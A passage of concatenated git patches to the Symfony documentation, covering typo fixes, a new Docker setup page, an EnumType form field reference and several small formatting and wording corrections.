@@ -118,7 +118,7 @@ You can now add your route directly *above* the controller:
         +   /**
         +    * @Route("/lucky/number")
         +    */
-            public function number()
+            public function number(): Response
             {
                 // this looks exactly the same
             }
@@ -134,7 +134,7 @@ You can now add your route directly *above* the controller:
         class LuckyController
         {
         +   #[Route('/lucky/number')]
-            public function number()
+            public function number(): Response
             {
                 // this looks exactly the same
             }

From 2b08260b78f68e3dc89a7fbc57b4fed9bdffff89 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 17:41:13 +0100
Subject: [PATCH 1371/5766] Tweak

---
 workflow.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 2d3fdb9352c..8845953a2e1 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -388,7 +388,8 @@ order:
 
     .. versionadded:: 5.2
 
-        In Symfony 5.2, the context is customizable for all events except for workflow.guard events, which will not receive the custom $context::
+        In Symfony 5.2, the context is customizable for all events except for
+        ``workflow.guard`` events, which will not receive the custom ``$context``::
 
             // $context must be an array
             $context = ['context_key' => 'context_value'];

From 5473e5e6c780323c4f10acffbdede4421725b505 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Thu, 18 Nov 2021 19:49:31 +0100
Subject: [PATCH 1372/5766] Fix small typos on Core Team page

---
 contributing/code/core_team.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index d44412617a7..566b07fadad 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -156,8 +156,8 @@ A pull request **can be merged** if:
 
 * Enough time was given for peer reviews;
 
-* At least two **Merger Team** members voted ``+1`` (only one if the submitter
-  is part of the Merger team) and no Core member voted ``-1`` (via GitHub
+* At least two **Mergers Team** members voted ``+1`` (only one if the submitter
+  is part of the Mergers team) and no Core member voted ``-1`` (via GitHub
   reviews or as comments).
 
 Pull Request Merging Process

From bcb2dd5e5c00cf02821e0f8fdcd0e440532d2b8e Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Thu, 18 Nov 2021 23:12:46 -0300
Subject: [PATCH 1373/5766] Update URL for DoctrineExtensions

---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 9d98f26b7ca..c29fa8a827f 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -54,7 +54,7 @@ The database connection information is stored as an environment variable called
 
     # to use postgresql:
     # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
-    
+
     # to use oracle:
     # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
 
@@ -923,5 +923,5 @@ Learn more
 .. _`Doctrine screencast series`: https://symfonycasts.com/screencast/symfony-doctrine
 .. _`API Platform`: https://api-platform.com/docs/core/validation/
 .. _`PDO`: https://www.php.net/pdo
-.. _`available Doctrine extensions`: https://github.com/Atlantic18/DoctrineExtensions
+.. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions
 .. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle

From 27622db2ba2b1f2130cf6a7ad26a24e98fbc5166 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 18 Nov 2021 12:04:46 -0500
Subject: [PATCH 1374/5766] Adding a page about Symfony & Docker

---
 .doctor-rst.yaml         |  1 +
 setup.rst                |  8 ++++++
 setup/docker.rst         | 56 ++++++++++++++++++++++++++++++++++++++++
 setup/symfony_server.rst |  2 +-
 4 files changed, 66 insertions(+), 1 deletion(-)
 create mode 100644 setup/docker.rst

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 86741f56f86..70b646e146a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -71,6 +71,7 @@ whitelist:
         - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
         - '/rst-class/'
+        - /docker-compose\.yml/
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
         - '#. The most important config file is ``app/config/services.yml``, which now is'
diff --git a/setup.rst b/setup.rst
index 323821be54f..3cfbae048b0 100644
--- a/setup.rst
+++ b/setup.rst
@@ -122,6 +122,8 @@ In production, you should install a webserver like Nginx or Apache and
 method can also be used if you're not using the Symfony local web server for
 development.
 
+.. _symfony-binary-web-server:
+
 However for local development, the most convenient way of running Symfony is by
 using the :doc:`local web server </setup/symfony_server>` provided by the
 ``symfony`` binary. This local server provides among other things support for
@@ -145,6 +147,11 @@ the server by pressing ``Ctrl+C`` from your terminal.
     The web server works with any PHP application, not only Symfony projects,
     so it's a very useful generic development tool.
 
+Symfony Docker Integration
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you'd like to use Docker with Symfony, see :doc:`setup/docker`
+
 .. _symfony-flex:
 
 Installing Packages
@@ -303,6 +310,7 @@ Learn More
     :maxdepth: 1
     :glob:
 
+    setup/docker
     setup/homestead
     setup/web_server_configuration
     setup/*
diff --git a/setup/docker.rst b/setup/docker.rst
new file mode 100644
index 00000000000..5ac1e47b97b
--- /dev/null
+++ b/setup/docker.rst
@@ -0,0 +1,56 @@
+.. index:: Docker
+
+Using Docker with Symfony
+=========================
+
+Can you use Docker with Symfony? Of course! And several tools exist to help,
+depending on your needs.
+
+Complete Docker Environment
+---------------------------
+
+If you'd like a complete Docker environment (i.e. where PHP, web server, database,
+etc. are all in Docker), check out `https://github.com/dunglas/symfony-docker`_.
+
+Alternatively, you can install PHP on your local machine and use the
+:ref:`symfony binary Docker integration <symfony-server-docker>`. In both cases,
+you can take advantage of automatic Docker configuration from :ref:`Symfony Flex <symfony-flex>`.
+
+Flex Recipes & Docker Configuration
+-----------------------------------
+
+The :ref:`Flex recipe <symfony-flex>` for some packages also include Docker configuration.
+For example, when you run ``composer require doctrine`` (to get ``symfony/orm-pack``),
+your ``docker-compose.yml`` file will automatically be updated to include a
+``database`` service.
+
+The first time you install a recipe containing Docker config, Flex will ask you
+if you want to include it. Or, you can set your preference in ``composer.json``,
+by seting the ``symfony.extra.docker`` config to ``true`` or ``false``.
+
+Some recipes also include additions to your ``Dockerfile``. To get those changes,
+you need to already have a ``Dockerfile`` at the root of your app *with* the
+following code somewhere inside:
+
+.. code-block:: text
+
+    ###> recipes ###
+    ###< recipes ###
+
+The recipe will find this section and add the changes inside. If you're using
+`https://github.com/dunglas/symfony-docker`_, you'll already have this.
+
+After installing the package, rebuild your containers by running:
+
+.. code-block:: terminal
+
+    $ docker-compose up --build
+
+Symfony Binary Web Server and Docker Support
+--------------------------------------------
+
+If you're using the :ref:`symfony binary web server` (e.g. ``symfony server:start``),
+then it can automatically detect your Docker services and expose them as environment
+variables. See :ref:`symfony-server-docker`.
+
+.. _`https://github.com/dunglas/symfony-docker`: https://github.com/dunglas/symfony-docker
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 8172060484e..d1570fe6f01 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -281,7 +281,7 @@ Docker Integration
 ------------------
 
 The local Symfony server provides full `Docker`_ integration for projects that
-use it.
+use it. To learn more about Docker & Symfony, see :doc:`docker`.
 
 When the web server detects that Docker Compose is running for the project, it
 automatically exposes some environment variables.

From 54ea02185091cc71061efa27fcd4765ed05fc76b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Nov 2021 15:10:47 +0100
Subject: [PATCH 1375/5766] Typo

---
 setup/docker.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/docker.rst b/setup/docker.rst
index 5ac1e47b97b..bd8eb145af8 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -26,7 +26,7 @@ your ``docker-compose.yml`` file will automatically be updated to include a
 
 The first time you install a recipe containing Docker config, Flex will ask you
 if you want to include it. Or, you can set your preference in ``composer.json``,
-by seting the ``symfony.extra.docker`` config to ``true`` or ``false``.
+by setting the ``symfony.extra.docker`` config to ``true`` or ``false``.
 
 Some recipes also include additions to your ``Dockerfile``. To get those changes,
 you need to already have a ``Dockerfile`` at the root of your app *with* the

From 222854dcd0a4601446170cd65ee7221960d1134b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Nov 2021 15:12:42 +0100
Subject: [PATCH 1376/5766] Add some missing prompts in command examples

---
 setup/flex_private_recipes.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index 30d5fed24c4..c57768f27d9 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -166,7 +166,7 @@ computer, and execute the following command:
 
 .. code-block:: terminal
 
-    composer config --global --auth github-oauth.github.com [token]
+    $ composer config --global --auth github-oauth.github.com [token]
 
 Replace ``[token]`` with the value of your GitHub personal access token.
 
@@ -209,14 +209,14 @@ run the following command:
 
 .. code-block:: terminal
 
-    composer update
+    $ composer update
 
 If the private bundles/packages have already been installed and you just want to
 install the new private recipes, run the following command:
 
 .. code-block:: terminal
 
-    composer recipes
+    $ composer recipes
 
 .. _`release of version 1.16`: https://github.com/symfony/cli
 .. _`Symfony recipe files`: https://github.com/symfony/recipes/tree/flex/main

From bbc67f61997073a78db7d709fcf7e70a5b9e3225 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Nov 2021 15:16:07 +0100
Subject: [PATCH 1377/5766] Fix a wrong code block syntax

---
 setup/flex_private_recipes.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index c57768f27d9..b0d5e271e5b 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -67,9 +67,7 @@ recipe, you also need to generate a new ``"ref"`` value.
 
 .. tip::
 
-    Use the following PHP script to generate a random ``"ref"`` value.
-
-    .. code-block::
+    Use the following PHP script to generate a random ``"ref"`` value::
 
         echo bin2hex(random_bytes(20));
 

From 9a41a18d719e0e081508a97166499cd79ddbbbda Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Nov 2021 17:33:06 +0100
Subject: [PATCH 1378/5766] Fix a minor syntax issue

---
 setup/flex_private_recipes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index b0d5e271e5b..5941ba2908f 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -197,7 +197,7 @@ Replace ``your-github-account-name`` and ``your-recipes-repository`` with your o
 .. tip::
 
     The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and
-    **not* to ``https://www.github.com``.
+    **not** to ``https://www.github.com``.
 
 Install the Recipes in Your Project
 -----------------------------------

From da7c88512a7686bc8a742da2fab0369178fcaf16 Mon Sep 17 00:00:00 2001
From: VosKoen <40901069+VosKoen@users.noreply.github.com>
Date: Fri, 19 Nov 2021 20:06:52 +0100
Subject: [PATCH 1379/5766] Update associations.rst

syntax error in orphanRemoval=true

In the Attributes code example #[ORM\OneToMany(mappedBy: 'user', targetEntity: Recipe::class, orphanRemoval=true)], doesn't work because of wrong syntax.
should be #[ORM\OneToMany(mappedBy: 'user', targetEntity: Recipe::class, orphanRemoval: true)]
---
 doctrine/associations.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 94c74dc0a6f..46c843699de 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -676,7 +676,7 @@ that behavior, use the `orphanRemoval`_ option inside ``Category``:
 
         // ...
 
-        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval=true)]
+        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval: true)]
         private $products;
 
 

From 40cf2223f956390d7e58a0e0fb8250c3bf2110c9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 20 Nov 2021 11:09:20 +0100
Subject: [PATCH 1380/5766] remove outdated doc URL that redirects to the same
 page

---
 security.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security.rst b/security.rst
index 6720fb9a6e1..912ad871b1d 100644
--- a/security.rst
+++ b/security.rst
@@ -27,7 +27,6 @@ creates a ``security.yaml`` configuration file for you:
 
     # config/packages/security.yaml
     security:
-        # https://symfony.com/doc/current/security/experimental_authenticators.html
         enable_authenticator_manager: true
         # https://symfony.com/doc/current/security.html#c-hashing-passwords
         password_hashers:

From 25dae6c5e3949c00ab42f490b22667ab0ab4915e Mon Sep 17 00:00:00 2001
From: Carlos Pereira De Amorim <carlos@shauri.fr>
Date: Wed, 17 Nov 2021 23:48:41 +0100
Subject: [PATCH 1381/5766] Correction for testing commands

The kernel has to be booted and not created
---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index 20574b05f91..a4d0359401b 100644
--- a/console.rst
+++ b/console.rst
@@ -361,7 +361,7 @@ console::
     {
         public function testExecute()
         {
-            $kernel = static::createKernel();
+            $kernel = self::bootKernel();
             $application = new Application($kernel);
 
             $command = $application->find('app:create-user');

From 16ffcdae52493d4f23c1841e56a32aad81531f7b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 16:29:39 +0100
Subject: [PATCH 1382/5766] [Form] Add the docs for EnumType

---
 reference/forms/types.rst         |   1 +
 reference/forms/types/enum.rst    | 119 ++++++++++++++++++++++++++++++
 reference/forms/types/map.rst.inc |   1 +
 3 files changed, 121 insertions(+)
 create mode 100644 reference/forms/types/enum.rst

diff --git a/reference/forms/types.rst b/reference/forms/types.rst
index 61ff1b5bf86..eaa0344f141 100644
--- a/reference/forms/types.rst
+++ b/reference/forms/types.rst
@@ -23,6 +23,7 @@ Form Types Reference
    types/color
 
    types/choice
+   types/enum
    types/entity
    types/country
    types/language
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
new file mode 100644
index 00000000000..e9842516acc
--- /dev/null
+++ b/reference/forms/types/enum.rst
@@ -0,0 +1,119 @@
+.. index::
+   single: Forms; Fields; EnumType
+
+EnumType Field
+==============
+
+.. versionadded:: 5.4
+
+   The ``EnumType`` form field was introduced in Symfony 5.4.
+
+A multi-purpose field used to allow the user to "choose" one or more options
+defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
+field and defines the same options.
+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                      |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | The selected choice is invalid.                                      |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EnumType`   |
++---------------------------+----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Example Usage
+-------------
+
+Before using this field, you'll need to have some PHP enumeration (or "enum" for
+short) defined somewhere in your application. This enum has to be of type
+"backed enum", where each keyword defines a scalar value such a string::
+
+    // src/Config/TextAlign.php
+    namespace App\Config;
+
+    enum TextAlign
+    {
+        case Left = 'Left/Start aligned';
+        case Center = 'Center/Middle aligned';
+        case Right = 'Right/End aligned';
+    }
+
+Instead of using the values of the enumeration in a ``choices`` option, the
+``EnumType`` only requires to define the ``class`` option pointing to the enum::
+
+    use App\Config\TextAlign;
+    use Symfony\Component\Form\Extension\Core\Type\EnumType;
+    // ...
+
+    $builder->add('alignment', EnumType::class, ['class' => TextAlign::class]);
+
+This will display a ``<select>`` tag with the three possible values defined in
+the ``TextAlign`` enum. Use the ``expanded`` and ``multiple`` options to display
+these values as ``<input type="checkbox">`` and ``<input type="radio">``.
+
+Field Options
+-------------
+
+class
+~~~~~
+
+**type**: ``string`` **default**: (it has no default)
+
+The fully-qualified class name (FQCN) of the PHP enum used to get the values
+displayed by this form field.
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/expanded.rst.inc
+
+.. include:: /reference/forms/types/options/multiple.rst.inc
+
+.. include:: /reference/forms/types/options/placeholder.rst.inc
+
+.. include:: /reference/forms/types/options/preferred_choices.rst.inc
+
+.. include:: /reference/forms/types/options/choice_type_trim.rst.inc
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc
+
+.. _`PHP enumeration`: https://wiki.php.net/rfc/enumerations
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 8171c836a4d..4d1ed612c67 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -19,6 +19,7 @@ Choice Fields
 ~~~~~~~~~~~~~
 
 * :doc:`ChoiceType </reference/forms/types/choice>`
+* :doc:`EnumType </reference/forms/types/enum>`
 * :doc:`EntityType </reference/forms/types/entity>`
 * :doc:`CountryType </reference/forms/types/country>`
 * :doc:`LanguageType </reference/forms/types/language>`

From fe3a9ba932ff50b0919af0c633b1990e99a33fc3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 20 Nov 2021 12:44:49 +0100
Subject: [PATCH 1383/5766] Remove the versionadded directive

---
 reference/forms/types/enum.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index e9842516acc..cea0aa09e3e 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -4,10 +4,6 @@
 EnumType Field
 ==============
 
-.. versionadded:: 5.4
-
-   The ``EnumType`` form field was introduced in Symfony 5.4.
-
 A multi-purpose field used to allow the user to "choose" one or more options
 defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
 field and defines the same options.

From c3695e417b38e587b8f7e2d9ecd86d9da00977d4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 20 Nov 2021 12:45:08 +0100
Subject: [PATCH 1384/5766] Readd the versionadded directive

---
 reference/forms/types/enum.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index cea0aa09e3e..e9842516acc 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -4,6 +4,10 @@
 EnumType Field
 ==============
 
+.. versionadded:: 5.4
+
+   The ``EnumType`` form field was introduced in Symfony 5.4.
+
 A multi-purpose field used to allow the user to "choose" one or more options
 defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
 field and defines the same options.

From 8071ddc5c9608c3b1c7731b2d82f1b9d33f83cc8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 20 Nov 2021 12:45:36 +0100
Subject: [PATCH 1385/5766] Remove the versionadded directive

---
 reference/forms/types/enum.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index e9842516acc..cea0aa09e3e 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -4,10 +4,6 @@
 EnumType Field
 ==============
 
-.. versionadded:: 5.4
-
-   The ``EnumType`` form field was introduced in Symfony 5.4.
-
 A multi-purpose field used to allow the user to "choose" one or more options
 defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
 field and defines the same options.

From e53fc5b0bf365914f5a945c21f54754b7332c69d Mon Sep 17 00:00:00 2001
From: Mathieu Ducrot <mathieu.ducrot26@gmail.com>
Date: Sat, 20 Nov 2021 14:48:16 +0100
Subject: [PATCH 1386/5766] [Form] Fixed missing link text on introduction

## Description

The 3 refs on common use-cases was missing text heading.

Before that there were all having the render title "How to Dynamically Modify Forms Using Form Events"
---
 form/dynamic_form_modification.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 7c52e5f3abd..2f885850a0e 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -7,18 +7,18 @@ How to Dynamically Modify Forms Using Form Events
 Often times, a form can't be created statically. In this article, you'll learn
 how to customize your form based on three common use-cases:
 
-1) :ref:`form-events-underlying-data`
+1) :ref:`Customizing your Form Based on the Underlying Data <form-events-underlying-data>`
 
    Example: you have a "Product" form and need to modify/add/remove a field
    based on the data on the underlying Product being edited.
 
-2) :ref:`form-events-user-data`
+2) :ref:`How to dynamically Generate Forms Based on user Data <form-events-user-data>`
 
    Example: you create a "Friend Message" form and need to build a drop-down
    that contains only users that are friends with the *current* authenticated
    user.
 
-3) :ref:`form-events-submitted-data`
+3) :ref:`Dynamic Generation for Submitted Forms <form-events-submitted-data>`
 
    Example: on a registration form, you have a "country" field and a "state"
    field which should populate dynamically based on the value in the "country"

From e179a506cb3c8eb2d1824156a9f670e8bcc96009 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Nov 2021 09:49:09 +0100
Subject: [PATCH 1387/5766] Minor formatting tweaks in the Core Team article

---
 contributing/code/core_team.rst | 20 +++++++-------------
 1 file changed, 7 insertions(+), 13 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 566b07fadad..e3aa1d4660e 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -24,27 +24,21 @@ The Symfony Core groups, in descending order of priority, are as follows:
 
 1. **Project Leader**
 
-* Elects members in any other group;
-* Merges pull requests in all Symfony repositories.
+   * Elects members in any other group;
+   * Merges pull requests in all Symfony repositories.
 
 2. **Mergers Team**
 
-* Merge pull requests on the main Symfony repository.
+   * Merge pull requests on the main Symfony repository.
 
 In addition, there are other groups created to manage specific topics:
 
-**Security Team**
+* **Security Team**: manages the whole security process (triaging reported vulnerabilities,
+  fixing the reported issues, coordinating the release of security fixes, etc.)
 
-* Manage the whole security process (triaging reported vulnerabilities, fixing
-  the reported issues, coordinating the release of security fixes, etc.)
+* **Recipes Team**: manages the recipes in the main and contrib recipe repositories.
 
-**Recipes Team**
-
-* Manage the recipes in the main and contrib recipe repositories.
-
-**Documentation Team**
-
-* Manage the whole `symfony-docs repository`_.
+* **Documentation Team**: manages the whole `symfony-docs repository`_.
 
 Active Core Members
 ~~~~~~~~~~~~~~~~~~~

From 5db91a3b0c46f439e0683f74138eda1380146273 Mon Sep 17 00:00:00 2001
From: SkaveRat <SkaveRat@users.noreply.github.com>
Date: Mon, 22 Nov 2021 12:34:03 +0100
Subject: [PATCH 1388/5766] Fixing missing space in configuration docs

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 0533334074c..80f93e2025e 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -69,7 +69,7 @@ readable. These are the main advantages and disadvantages of each format:
 
 * **YAML**: simple, clean and readable, but not all IDEs support autocompletion
   and validation for it. :doc:`Learn the YAML syntax </components/yaml/yaml_format>`;
-* **XML**:autocompleted/validated by most IDEs and is parsed natively by PHP,
+* **XML**: autocompleted/validated by most IDEs and is parsed natively by PHP,
   but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
 * **PHP**: very powerful and it allows you to create dynamic configuration, but the
   resulting configuration is less readable than the other formats.

From dbc1270f77763ffdc5cd25ea215d491a62a4c378 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 22 Nov 2021 15:28:50 +0100
Subject: [PATCH 1389/5766] Rewording when an exception is thrown

@nicolas-grekas Identical copy of https://github.com/symfony/symfony-docs/pull/14499
---
 http_client.rst | 21 ++++++++++-----------
 1 file changed, 10 insertions(+), 11 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index efa33c02944..019cd64036e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -937,20 +937,19 @@ There are three types of exceptions, all of which implement the
   are thrown when a content-type cannot be decoded to the expected representation.
 
 When the HTTP status code of the response is in the 300-599 range (i.e. 3xx,
-4xx or 5xx) your code is expected to handle it. If you don't do that, the
-``getHeaders()``, ``getContent()`` and ``toArray()`` methods throw an appropriate exception, which will
-implement the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`::
+4xx or 5xx), the ``getHeaders()``, ``getContent()`` and ``toArray()`` methods
+throw an appropriate exception, all of which implement the
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`.
 
-    // the response of this request will be a 403 HTTP error
-    $response = $client->request('GET', 'https://httpbin.org/status/403');
+To opt-out from this exception and deal with 300-599 status codes on your own,
+pass ``false`` as the optional argument to every call of those methods,
+e.g. ``$response->getHeaders(false);``.
 
-    // this code results in a Symfony\Component\HttpClient\Exception\ClientException
-    // because it doesn't check the status code of the response
-    $content = $response->getContent();
+If you do not call any of these 3 methods at all, the exception will still be thrown
+when the ``$response`` object is destructed.
 
-    // pass FALSE as the optional argument to not throw an exception and return
-    // instead the original response content (even if it's an error message)
-    $content = $response->getContent(false);
+Calling ``$response->getStatusCode()`` is enough to disable this behavior
+(but then don't miss checking the status code yourself).
 
 While responses are lazy, their destructor will always wait for headers to come
 back. This means that the following request *will* complete; and if e.g. a 404

From d2ebd702d736205c44f9905318f210af8254df26 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 22 Nov 2021 19:09:31 +0100
Subject: [PATCH 1390/5766] [Serializer] Remove colon

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 635f8e67ba3..3e7da6c8b0b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -694,7 +694,7 @@ Normalizers
 -----------
 
 Normalizers turn **object** into **array** and vice versa. They implement
-::class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
+:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
 for normalize (object to array) and
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface` for denormalize
 (array to object).

From 32278d443fe62c8f1a044e6c8fbf29b2830c265c Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 22 Nov 2021 19:14:56 +0100
Subject: [PATCH 1391/5766] [Serializer] Fix grammar issue

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 53a1475ee17..6fd84b02077 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -872,7 +872,7 @@ The Serializer component provides several built-in normalizers:
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.
 
-    It will get errors from the form and normalize them into an normalized array.
+    It will get errors from the form and normalize them into a normalized array.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
     This normalizer converts objects that implement

From c51c80dc6e350055f3da3443a76bf623796979cf Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 22 Nov 2021 22:46:38 +0100
Subject: [PATCH 1392/5766] [HTTP Cache] Fix grammar issue

---
 http_cache/ssi.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 94bab702db4..fe8f1552912 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -126,7 +126,7 @@ The ``render_ssi`` twig helper will generate something like:
 
     <!--#include virtual="/_fragment?_hash=abcdef1234&_path=_controller=App\Controller\ProfileController::gdpr" -->
 
-``render_ssi`` ensures that SSI directive are generated only if the request
+``render_ssi`` ensures that SSI directive is generated only if the request
 has the header requirement like ``Surrogate-Capability: device="SSI/1.0"``
